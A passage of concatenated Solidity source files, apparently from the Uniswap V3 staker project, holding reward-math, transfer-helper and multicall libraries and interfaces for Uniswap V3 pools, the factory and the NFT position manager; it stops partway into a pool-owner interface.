// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity =0.7.6;
pragma abicoder v2;
import '../interfaces/IUniswapV3Staker.sol';
library IncentiveId {
/// @notice Calculate the key for a staking incentive
/// @param key The components used to compute the incentive identifier
/// @return incentiveId The identifier for the incentive
function compute(IUniswapV3Staker.IncentiveKey memory key) internal pure returns (bytes32 incentiveId) {
return keccak256(abi.encode(key));
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity =0.7.6;
import '@uniswap/v3-core/contracts/libraries/FullMath.sol';
import '@openzeppelin/contracts/math/Math.sol';
/// @title Math for computing rewards
/// @notice Allows computing rewards given some parameters of stakes and incentives
library RewardMath {
/// @notice Compute the amount of rewards owed given parameters of the incentive and stake
/// @param totalRewardUnclaimed The total amount of unclaimed rewards left for an incentive
/// @param totalSecondsClaimedX128 How many full liquidity-seconds have been already claimed for the incentive
/// @param startTime When the incentive rewards began in epoch seconds
/// @param endTime When rewards are no longer being dripped out in epoch seconds
/// @param liquidity The amount of liquidity, assumed to be constant over the period over which the snapshots are measured
/// @param secondsPerLiquidityInsideInitialX128 The seconds per liquidity of the liquidity tick range as of the beginning of the period
/// @param secondsPerLiquidityInsideX128 The seconds per liquidity of the liquidity tick range as of the current block timestamp
/// @param currentTime The current block timestamp, which must be greater than or equal to the start time
/// @return reward The amount of rewards owed
/// @return secondsInsideX128 The total liquidity seconds inside the position's range for the duration of the stake
function computeRewardAmount(
uint256 totalRewardUnclaimed,
uint160 totalSecondsClaimedX128,
uint256 startTime,
uint256 endTime,
uint128 liquidity,
uint160 secondsPerLiquidityInsideInitialX128,
uint160 secondsPerLiquidityInsideX128,
uint256 currentTime
) internal pure returns (uint256 reward, uint160 secondsInsideX128) {
// this should never be called before the start time
assert(currentTime >= startTime);
// this operation is safe, as the difference cannot be greater than 1/stake.liquidity
secondsInsideX128 = (secondsPerLiquidityInsideX128 - secondsPerLiquidityInsideInitialX128) * liquidity;
uint256 totalSecondsUnclaimedX128 =
((Math.max(endTime, currentTime) - startTime) << 128) - totalSecondsClaimedX128;
reward = FullMath.mulDiv(totalRewardUnclaimed, secondsInsideX128, totalSecondsUnclaimedX128);
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity =0.7.6;
import '@uniswap/v3-periphery/contracts/interfaces/INonfungiblePositionManager.sol';
import '@uniswap/v3-core/contracts/interfaces/IUniswapV3Factory.sol';
import '@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol';
import '@uniswap/v3-periphery/contracts/libraries/PoolAddress.sol';
/// @notice Encapsulates the logic for getting info about a NFT token ID
library NFTPositionInfo {
/// @param factory The address of the Uniswap V3 Factory used in computing the pool address
/// @param nonfungiblePositionManager The address of the nonfungible position manager to query
/// @param tokenId The unique identifier of an Uniswap V3 LP token
/// @return pool The address of the Uniswap V3 pool
/// @return tickLower The lower tick of the Uniswap V3 position
/// @return tickUpper The upper tick of the Uniswap V3 position
/// @return liquidity The amount of liquidity staked
function getPositionInfo(
IUniswapV3Factory factory,
INonfungiblePositionManager nonfungiblePositionManager,
uint256 tokenId
)
internal
view
returns (
IUniswapV3Pool pool,
int24 tickLower,
int24 tickUpper,
uint128 liquidity
)
{
address token0;
address token1;
uint24 fee;
(, , token0, token1, fee, tickLower, tickUpper, liquidity, , , , ) = nonfungiblePositionManager.positions(
tokenId
);
pool = IUniswapV3Pool(
PoolAddress.computeAddress(
address(factory),
PoolAddress.PoolKey({token0: token0, token1: token1, fee: fee})
)
);
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title The interface for the Uniswap V3 Factory
/// @notice The Uniswap V3 Factory facilitates creation of Uniswap V3 pools and control over the protocol fees
interface IUniswapV3Factory {
/// @notice Emitted when the owner of the factory is changed
/// @param oldOwner The owner before the owner was changed
/// @param newOwner The owner after the owner was changed
event OwnerChanged(address indexed oldOwner, address indexed newOwner);
/// @notice Emitted when a pool is created
/// @param token0 The first token of the pool by address sort order
/// @param token1 The second token of the pool by address sort order
/// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip
/// @param tickSpacing The minimum number of ticks between initialized ticks
/// @param pool The address of the created pool
event PoolCreated(
address indexed token0,
address indexed token1,
uint24 indexed fee,
int24 tickSpacing,
address pool
);
/// @notice Emitted when a new fee amount is enabled for pool creation via the factory
/// @param fee The enabled fee, denominated in hundredths of a bip
/// @param tickSpacing The minimum number of ticks between initialized ticks for pools created with the given fee
event FeeAmountEnabled(uint24 indexed fee, int24 indexed tickSpacing);
/// @notice Returns the current owner of the factory
/// @dev Can be changed by the current owner via setOwner
/// @return The address of the factory owner
function owner() external view returns (address);
/// @notice Returns the tick spacing for a given fee amount, if enabled, or 0 if not enabled
/// @dev A fee amount can never be removed, so this value should be hard coded or cached in the calling context
/// @param fee The enabled fee, denominated in hundredths of a bip. Returns 0 in case of unenabled fee
/// @return The tick spacing
function feeAmountTickSpacing(uint24 fee) external view returns (int24);
/// @notice Returns the pool address for a given pair of tokens and a fee, or address 0 if it does not exist
/// @dev tokenA and tokenB may be passed in either token0/token1 or token1/token0 order
/// @param tokenA The contract address of either token0 or token1
/// @param tokenB The contract address of the other token
/// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip
/// @return pool The pool address
function getPool(
address tokenA,
address tokenB,
uint24 fee
) external view returns (address pool);
/// @notice Creates a pool for the given two tokens and fee
/// @param tokenA One of the two tokens in the desired pool
/// @param tokenB The other of the two tokens in the desired pool
/// @param fee The desired fee for the pool
/// @dev tokenA and tokenB may be passed in either order: token0/token1 or token1/token0. tickSpacing is retrieved
/// from the fee. The call will revert if the pool already exists, the fee is invalid, or the token arguments
/// are invalid.
/// @return pool The address of the newly created pool
function createPool(
address tokenA,
address tokenB,
uint24 fee
) external returns (address pool);
/// @notice Updates the owner of the factory
/// @dev Must be called by the current owner
/// @param _owner The new owner of the factory
function setOwner(address _owner) external;
/// @notice Enables a fee amount with the given tickSpacing
/// @dev Fee amounts may never be removed once enabled
/// @param fee The fee amount to enable, denominated in hundredths of a bip (i.e. 1e-6)
/// @param tickSpacing The spacing between ticks to be enforced for all pools created with the given fee amount
function enableFeeAmount(uint24 fee, int24 tickSpacing) external;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
import './pool/IUniswapV3PoolImmutables.sol';
import './pool/IUniswapV3PoolState.sol';
import './pool/IUniswapV3PoolDerivedState.sol';
import './pool/IUniswapV3PoolActions.sol';
import './pool/IUniswapV3PoolOwnerActions.sol';
import './pool/IUniswapV3PoolEvents.sol';
/// @title The interface for a Uniswap V3 Pool
/// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform
/// to the ERC20 specification
/// @dev The pool interface is broken up into many smaller pieces
interface IUniswapV3Pool is
IUniswapV3PoolImmutables,
IUniswapV3PoolState,
IUniswapV3PoolDerivedState,
IUniswapV3PoolActions,
IUniswapV3PoolOwnerActions,
IUniswapV3PoolEvents
{
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Minimal ERC20 interface for Uniswap
/// @notice Contains a subset of the full ERC20 interface that is used in Uniswap V3
interface IERC20Minimal {
/// @notice Returns the balance of a token
/// @param account The account for which to look up the number of tokens it has, i.e. its balance
/// @return The number of tokens held by the account
function balanceOf(address account) external view returns (uint256);
/// @notice Transfers the amount of token from the `msg.sender` to the recipient
/// @param recipient The account that will receive the amount transferred
/// @param amount The number of tokens to send from the sender to the recipient
/// @return Returns true for a successful transfer, false for an unsuccessful transfer
function transfer(address recipient, uint256 amount) external returns (bool);
/// @notice Returns the current allowance given to a spender by an owner
/// @param owner The account of the token owner
/// @param spender The account of the token spender
/// @return The current allowance granted by `owner` to `spender`
function allowance(address owner, address spender) external view returns (uint256);
/// @notice Sets the allowance of a spender from the `msg.sender` to the value `amount`
/// @param spender The account which will be allowed to spend a given amount of the owners tokens
/// @param amount The amount of tokens allowed to be used by `spender`
/// @return Returns true for a successful approval, false for unsuccessful
function approve(address spender, uint256 amount) external returns (bool);
/// @notice Transfers `amount` tokens from `sender` to `recipient` up to the allowance given to the `msg.sender`
/// @param sender The account from which the transfer will be initiated
/// @param recipient The recipient of the transfer
/// @param amount The amount of the transfer
/// @return Returns true for a successful transfer, false for unsuccessful
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/// @notice Event emitted when tokens are transferred from one address to another, either via `#transfer` or `#transferFrom`.
/// @param from The account from which the tokens were sent, i.e. the balance decreased
/// @param to The account to which the tokens were sent, i.e. the balance increased
/// @param value The amount of tokens that were transferred
event Transfer(address indexed from, address indexed to, uint256 value);
/// @notice Event emitted when the approval amount for the spender of a given owner's tokens changes.
/// @param owner The account that approved spending of its tokens
/// @param spender The account for which the spending allowance was modified
/// @param value The new allowance from the owner to the spender
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.7.5;
pragma abicoder v2;
import '@openzeppelin/contracts/token/ERC721/IERC721Metadata.sol';
import '@openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol';
import './IPoolInitializer.sol';
import './IERC721Permit.sol';
import './IPeripheryPayments.sol';
import './IPeripheryImmutableState.sol';
import '../libraries/PoolAddress.sol';
/// @title Non-fungible token for positions
/// @notice Wraps Uniswap V3 positions in a non-fungible token interface which allows for them to be transferred
/// and authorized.
interface INonfungiblePositionManager is
IPoolInitializer,
IPeripheryPayments,
IPeripheryImmutableState,
IERC721Metadata,
IERC721Enumerable,
IERC721Permit
{
/// @notice Emitted when liquidity is increased for a position NFT
/// @dev Also emitted when a token is minted
/// @param tokenId The ID of the token for which liquidity was increased
/// @param liquidity The amount by which liquidity for the NFT position was increased
/// @param amount0 The amount of token0 that was paid for the increase in liquidity
/// @param amount1 The amount of token1 that was paid for the increase in liquidity
event IncreaseLiquidity(uint256 indexed tokenId, uint128 liquidity, uint256 amount0, uint256 amount1);
/// @notice Emitted when liquidity is decreased for a position NFT
/// @param tokenId The ID of the token for which liquidity was decreased
/// @param liquidity The amount by which liquidity for the NFT position was decreased
/// @param amount0 The amount of token0 that was accounted for the decrease in liquidity
/// @param amount1 The amount of token1 that was accounted for the decrease in liquidity
event DecreaseLiquidity(uint256 indexed tokenId, uint128 liquidity, uint256 amount0, uint256 amount1);
/// @notice Emitted when tokens are collected for a position NFT
/// @dev The amounts reported may not be exactly equivalent to the amounts transferred, due to rounding behavior
/// @param tokenId The ID of the token for which underlying tokens were collected
/// @param recipient The address of the account that received the collected tokens
/// @param amount0 The amount of token0 owed to the position that was collected
/// @param amount1 The amount of token1 owed to the position that was collected
event Collect(uint256 indexed tokenId, address recipient, uint256 amount0, uint256 amount1);
/// @notice Returns the position information associated with a given token ID.
/// @dev Throws if the token ID is not valid.
/// @param tokenId The ID of the token that represents the position
/// @return nonce The nonce for permits
/// @return operator The address that is approved for spending
/// @return token0 The address of the token0 for a specific pool
/// @return token1 The address of the token1 for a specific pool
/// @return fee The fee associated with the pool
/// @return tickLower The lower end of the tick range for the position
/// @return tickUpper The higher end of the tick range for the position
/// @return liquidity The liquidity of the position
/// @return feeGrowthInside0LastX128 The fee growth of token0 as of the last action on the individual position
/// @return feeGrowthInside1LastX128 The fee growth of token1 as of the last action on the individual position
/// @return tokensOwed0 The uncollected amount of token0 owed to the position as of the last computation
/// @return tokensOwed1 The uncollected amount of token1 owed to the position as of the last computation
function positions(uint256 tokenId)
external
view
returns (
uint96 nonce,
address operator,
address token0,
address token1,
uint24 fee,
int24 tickLower,
int24 tickUpper,
uint128 liquidity,
uint256 feeGrowthInside0LastX128,
uint256 feeGrowthInside1LastX128,
uint128 tokensOwed0,
uint128 tokensOwed1
);
struct MintParams {
address token0;
address token1;
uint24 fee;
int24 tickLower;
int24 tickUpper;
uint256 amount0Desired;
uint256 amount1Desired;
uint256 amount0Min;
uint256 amount1Min;
address recipient;
uint256 deadline;
}
/// @notice Creates a new position wrapped in a NFT
/// @dev Call this when the pool does exist and is initialized. Note that if the pool is created but not initialized
/// a method does not exist, i.e. the pool is assumed to be initialized.
/// @param params The params necessary to mint a position, encoded as `MintParams` in calldata
/// @return tokenId The ID of the token that represents the minted position
/// @return liquidity The amount of liquidity for this position
/// @return amount0 The amount of token0
/// @return amount1 The amount of token1
function mint(MintParams calldata params)
external
payable
returns (
uint256 tokenId,
uint128 liquidity,
uint256 amount0,
uint256 amount1
);
struct IncreaseLiquidityParams {
uint256 tokenId;
uint256 amount0Desired;
uint256 amount1Desired;
uint256 amount0Min;
uint256 amount1Min;
uint256 deadline;
}
/// @notice Increases the amount of liquidity in a position, with tokens paid by the `msg.sender`
/// @param params tokenId The ID of the token for which liquidity is being increased,
/// amount0Desired The desired amount of token0 to be spent,
/// amount1Desired The desired amount of token1 to be spent,
/// amount0Min The minimum amount of token0 to spend, which serves as a slippage check,
/// amount1Min The minimum amount of token1 to spend, which serves as a slippage check,
/// deadline The time by which the transaction must be included to effect the change
/// @return liquidity The new liquidity amount as a result of the increase
/// @return amount0 The amount of token0 to acheive resulting liquidity
/// @return amount1 The amount of token1 to acheive resulting liquidity
function increaseLiquidity(IncreaseLiquidityParams calldata params)
external
payable
returns (
uint128 liquidity,
uint256 amount0,
uint256 amount1
);
struct DecreaseLiquidityParams {
uint256 tokenId;
uint128 liquidity;
uint256 amount0Min;
uint256 amount1Min;
uint256 deadline;
}
/// @notice Decreases the amount of liquidity in a position and accounts it to the position
/// @param params tokenId The ID of the token for which liquidity is being decreased,
/// amount The amount by which liquidity will be decreased,
/// amount0Min The minimum amount of token0 that should be accounted for the burned liquidity,
/// amount1Min The minimum amount of token1 that should be accounted for the burned liquidity,
/// deadline The time by which the transaction must be included to effect the change
/// @return amount0 The amount of token0 accounted to the position's tokens owed
/// @return amount1 The amount of token1 accounted to the position's tokens owed
function decreaseLiquidity(DecreaseLiquidityParams calldata params)
external
payable
returns (uint256 amount0, uint256 amount1);
struct CollectParams {
uint256 tokenId;
address recipient;
uint128 amount0Max;
uint128 amount1Max;
}
/// @notice Collects up to a maximum amount of fees owed to a specific position to the recipient
/// @param params tokenId The ID of the NFT for which tokens are being collected,
/// recipient The account that should receive the tokens,
/// amount0Max The maximum amount of token0 to collect,
/// amount1Max The maximum amount of token1 to collect
/// @return amount0 The amount of fees collected in token0
/// @return amount1 The amount of fees collected in token1
function collect(CollectParams calldata params) external payable returns (uint256 amount0, uint256 amount1);
/// @notice Burns a token ID, which deletes it from the NFT contract. The token must have 0 liquidity and all tokens
/// must be collected first.
/// @param tokenId The ID of the token that is being burned
function burn(uint256 tokenId) external payable;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.6.0;
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
library TransferHelper {
/// @notice Transfers tokens from the targeted address to the given destination
/// @notice Errors with 'STF' if transfer fails
/// @param token The contract address of the token to be transferred
/// @param from The originating address from which the tokens will be transferred
/// @param to The destination address of the transfer
/// @param value The amount to be transferred
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(IERC20.transferFrom.selector, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'STF');
}
/// @notice Transfers tokens from msg.sender to a recipient
/// @dev Errors with ST if transfer fails
/// @param token The contract address of the token which will be transferred
/// @param to The recipient of the transfer
/// @param value The value of the transfer
function safeTransfer(
address token,
address to,
uint256 value
) internal {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.transfer.selector, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'ST');
}
/// @notice Approves the stipulated contract to spend the given allowance in the given token
/// @dev Errors with 'SA' if transfer fails
/// @param token The contract address of the token to be approved
/// @param to The target of the approval
/// @param value The amount of the given token the target will be allowed to spend
function safeApprove(
address token,
address to,
uint256 value
) internal {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.approve.selector, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'SA');
}
/// @notice Transfers ETH to the recipient address
/// @dev Fails with `STE`
/// @param to The destination of the transfer
/// @param value The value to be transferred
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'STE');
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity =0.7.6;
pragma abicoder v2;
import '../interfaces/IMulticall.sol';
/// @title Multicall
/// @notice Enables calling multiple methods in a single call to the contract
abstract contract Multicall is IMulticall {
/// @inheritdoc IMulticall
function multicall(bytes[] calldata data) external payable override returns (bytes[] memory results) {
results = new bytes[](data.length);
for (uint256 i = 0; i < data.length; i++) {
(bool success, bytes memory result) = address(this).delegatecall(data[i]);
if (!success) {
// Next 5 lines from https://ethereum.stackexchange.com/a/83577
if (result.length < 68) revert();
assembly {
result := add(result, 0x04)
}
revert(abi.decode(result, (string)));
}
results[i] = result;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.7.5;
pragma abicoder v2;
/// @title Multicall interface
/// @notice Enables calling multiple methods in a single call to the contract
interface IMulticall {
/// @notice Call multiple functions in the current contract and return the data from all of them if they all succeed
/// @dev The `msg.value` should not be trusted for any method callable from multicall.
/// @param data The encoded function data for each of the calls to make to this contract
/// @return results The results from each of the calls passed in via data
function multicall(bytes[] calldata data) external payable returns (bytes[] memory results);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Pool state that never changes
/// @notice These parameters are fixed for a pool forever, i.e., the methods will always return the same values
interface IUniswapV3PoolImmutables {
/// @notice The contract that deployed the pool, which must adhere to the IUniswapV3Factory interface
/// @return The contract address
function factory() external view returns (address);
/// @notice The first of the two tokens of the pool, sorted by address
/// @return The token contract address
function token0() external view returns (address);
/// @notice The second of the two tokens of the pool, sorted by address
/// @return The token contract address
function token1() external view returns (address);
/// @notice The pool's fee in hundredths of a bip, i.e. 1e-6
/// @return The fee
function fee() external view returns (uint24);
/// @notice The pool tick spacing
/// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive
/// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ...
/// This value is an int24 to avoid casting even though it is always positive.
/// @return The tick spacing
function tickSpacing() external view returns (int24);
/// @notice The maximum amount of position liquidity that can use any tick in the range
/// @dev This parameter is enforced per tick to prevent liquidity from overflowing a uint128 at any point, and
/// also prevents out-of-range liquidity from being used to prevent adding in-range liquidity to a pool
/// @return The max amount of liquidity per tick
function maxLiquidityPerTick() external view returns (uint128);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Pool state that can change
/// @notice These methods compose the pool's state, and can change with any frequency including multiple times
/// per transaction
interface IUniswapV3PoolState {
/// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas
/// when accessed externally.
/// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value
/// tick The current tick of the pool, i.e. according to the last tick transition that was run.
/// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick
/// boundary.
/// observationIndex The index of the last oracle observation that was written,
/// observationCardinality The current maximum number of observations stored in the pool,
/// observationCardinalityNext The next maximum number of observations, to be updated when the observation.
/// feeProtocol The protocol fee for both tokens of the pool.
/// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0
/// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee.
/// unlocked Whether the pool is currently locked to reentrancy
function slot0()
external
view
returns (
uint160 sqrtPriceX96,
int24 tick,
uint16 observationIndex,
uint16 observationCardinality,
uint16 observationCardinalityNext,
uint8 feeProtocol,
bool unlocked
);
/// @notice The fee growth as a Q128.128 fees of token0 collected per unit of liquidity for the entire life of the pool
/// @dev This value can overflow the uint256
function feeGrowthGlobal0X128() external view returns (uint256);
/// @notice The fee growth as a Q128.128 fees of token1 collected per unit of liquidity for the entire life of the pool
/// @dev This value can overflow the uint256
function feeGrowthGlobal1X128() external view returns (uint256);
/// @notice The amounts of token0 and token1 that are owed to the protocol
/// @dev Protocol fees will never exceed uint128 max in either token
function protocolFees() external view returns (uint128 token0, uint128 token1);
/// @notice The currently in range liquidity available to the pool
/// @dev This value has no relationship to the total liquidity across all ticks
function liquidity() external view returns (uint128);
/// @notice Look up information about a specific tick in the pool
/// @param tick The tick to look up
/// @return liquidityGross the total amount of position liquidity that uses the pool either as tick lower or
/// tick upper,
/// liquidityNet how much liquidity changes when the pool price crosses the tick,
/// feeGrowthOutside0X128 the fee growth on the other side of the tick from the current tick in token0,
/// feeGrowthOutside1X128 the fee growth on the other side of the tick from the current tick in token1,
/// tickCumulativeOutside the cumulative tick value on the other side of the tick from the current tick
/// secondsPerLiquidityOutsideX128 the seconds spent per liquidity on the other side of the tick from the current tick,
/// secondsOutside the seconds spent on the other side of the tick from the current tick,
/// initialized Set to true if the tick is initialized, i.e. liquidityGross is greater than 0, otherwise equal to false.
/// Outside values can only be used if the tick is initialized, i.e. if liquidityGross is greater than 0.
/// In addition, these values are only relative and must be used only in comparison to previous snapshots for
/// a specific position.
function ticks(int24 tick)
external
view
returns (
uint128 liquidityGross,
int128 liquidityNet,
uint256 feeGrowthOutside0X128,
uint256 feeGrowthOutside1X128,
int56 tickCumulativeOutside,
uint160 secondsPerLiquidityOutsideX128,
uint32 secondsOutside,
bool initialized
);
/// @notice Returns 256 packed tick initialized boolean values. See TickBitmap for more information
function tickBitmap(int16 wordPosition) external view returns (uint256);
/// @notice Returns the information about a position by the position's key
/// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper
/// @return _liquidity The amount of liquidity in the position,
/// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke,
/// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke,
/// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke,
/// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke
function positions(bytes32 key)
external
view
returns (
uint128 _liquidity,
uint256 feeGrowthInside0LastX128,
uint256 feeGrowthInside1LastX128,
uint128 tokensOwed0,
uint128 tokensOwed1
);
/// @notice Returns data about a specific observation index
/// @param index The element of the observations array to fetch
/// @dev You most likely want to use #observe() instead of this method to get an observation as of some amount of time
/// ago, rather than at a specific index in the array.
/// @return blockTimestamp The timestamp of the observation,
/// Returns tickCumulative the tick multiplied by seconds elapsed for the life of the pool as of the observation timestamp,
/// Returns secondsPerLiquidityCumulativeX128 the seconds per in range liquidity for the life of the pool as of the observation timestamp,
/// Returns initialized whether the observation has been initialized and the values are safe to use
function observations(uint256 index)
external
view
returns (
uint32 blockTimestamp,
int56 tickCumulative,
uint160 secondsPerLiquidityCumulativeX128,
bool initialized
);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Pool state that is not stored
/// @notice Contains view functions to provide information about the pool that is computed rather than stored on the
/// blockchain. The functions here may have variable gas costs.
interface IUniswapV3PoolDerivedState {
/// @notice Returns the cumulative tick and liquidity as of each timestamp `secondsAgo` from the current block timestamp
/// @dev To get a time weighted average tick or liquidity-in-range, you must call this with two values, one representing
/// the beginning of the period and another for the end of the period. E.g., to get the last hour time-weighted average tick,
/// you must call it with secondsAgos = [3600, 0].
/// @dev The time weighted average tick represents the geometric time weighted average price of the pool, in
/// log base sqrt(1.0001) of token1 / token0. The TickMath library can be used to go from a tick value to a ratio.
/// @param secondsAgos From how long ago each cumulative tick and liquidity value should be returned
/// @return tickCumulatives Cumulative tick values as of each `secondsAgos` from the current block timestamp
/// @return secondsPerLiquidityCumulativeX128s Cumulative seconds per liquidity-in-range value as of each `secondsAgos` from the current block
/// timestamp
function observe(uint32[] calldata secondsAgos)
external
view
returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s);
/// @notice Returns a snapshot of the tick cumulative, seconds per liquidity and seconds inside a tick range
/// @dev Snapshots must only be compared to other snapshots, taken over a period for which a position existed.
/// I.e., snapshots cannot be compared if a position is not held for the entire period between when the first
/// snapshot is taken and the second snapshot is taken.
/// @param tickLower The lower tick of the range
/// @param tickUpper The upper tick of the range
/// @return tickCumulativeInside The snapshot of the tick accumulator for the range
/// @return secondsPerLiquidityInsideX128 The snapshot of seconds per liquidity for the range
/// @return secondsInside The snapshot of seconds per liquidity for the range
function snapshotCumulativesInside(int24 tickLower, int24 tickUpper)
external
view
returns (
int56 tickCumulativeInside,
uint160 secondsPerLiquidityInsideX128,
uint32 secondsInside
);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Permissionless pool actions
/// @notice Contains pool methods that can be called by anyone
interface IUniswapV3PoolActions {
/// @notice Sets the initial price for the pool
/// @dev Price is represented as a sqrt(amountToken1/amountToken0) Q64.96 value
/// @param sqrtPriceX96 the initial sqrt price of the pool as a Q64.96
function initialize(uint160 sqrtPriceX96) external;
/// @notice Adds liquidity for the given recipient/tickLower/tickUpper position
/// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback
/// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends
/// on tickLower, tickUpper, the amount of liquidity, and the current price.
/// @param recipient The address for which the liquidity will be created
/// @param tickLower The lower tick of the position in which to add liquidity
/// @param tickUpper The upper tick of the position in which to add liquidity
/// @param amount The amount of liquidity to mint
/// @param data Any data that should be passed through to the callback
/// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback
/// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback
function mint(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount,
bytes calldata data
) external returns (uint256 amount0, uint256 amount1);
/// @notice Collects tokens owed to a position
/// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity.
/// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or
/// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the
/// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity.
/// @param recipient The address which should receive the fees collected
/// @param tickLower The lower tick of the position for which to collect fees
/// @param tickUpper The upper tick of the position for which to collect fees
/// @param amount0Requested How much token0 should be withdrawn from the fees owed
/// @param amount1Requested How much token1 should be withdrawn from the fees owed
/// @return amount0 The amount of fees collected in token0
/// @return amount1 The amount of fees collected in token1
function collect(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount0Requested,
uint128 amount1Requested
) external returns (uint128 amount0, uint128 amount1);
/// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position
/// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0
/// @dev Fees must be collected separately via a call to #collect
/// @param tickLower The lower tick of the position for which to burn liquidity
/// @param tickUpper The upper tick of the position for which to burn liquidity
/// @param amount How much liquidity to burn
/// @return amount0 The amount of token0 sent to the recipient
/// @return amount1 The amount of token1 sent to the recipient
function burn(
int24 tickLower,
int24 tickUpper,
uint128 amount
) external returns (uint256 amount0, uint256 amount1);
/// @notice Swap token0 for token1, or token1 for token0
/// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback
/// @param recipient The address to receive the output of the swap
/// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0
/// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative)
/// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this
/// value after the swap. If one for zero, the price cannot be greater than this value after the swap
/// @param data Any data to be passed through to the callback
/// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive
/// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive
function swap(
address recipient,
bool zeroForOne,
int256 amountSpecified,
uint160 sqrtPriceLimitX96,
bytes calldata data
) external returns (int256 amount0, int256 amount1);
/// @notice Receive token0 and/or token1 and pay it back, plus a fee, in the callback
/// @dev The caller of this method receives a callback in the form of IUniswapV3FlashCallback#uniswapV3FlashCallback
/// @dev Can be used to donate underlying tokens pro-rata to currently in-range liquidity providers by calling
/// with 0 amount{0,1} and sending the donation amount(s) from the callback
/// @param recipient The address which will receive the token0 and token1 amounts
/// @param amount0 The amount of token0 to send
/// @param amount1 The amount of token1 to send
/// @param data Any data to be passed through to the callback
function flash(
address recipient,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external;
/// @notice Increase the maximum number of price and liquidity observations that this pool will store
/// @dev This method is no-op if the pool already has an observationCardinalityNext greater than or equal to
/// the input observationCardinalityNext.
/// @param observationCardinalityNext The desired minimum number of observations for the pool to store
function increaseObservationCardinalityNext(uint16 observationCardinalityNext) external;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Permissioned pool actions
/// @notice Contains pool methods that may only be called by the factory owner
interface IUniswapV3PoolOwnerActions {
/// @notice Set the denominator of the protocol's % share of the fees
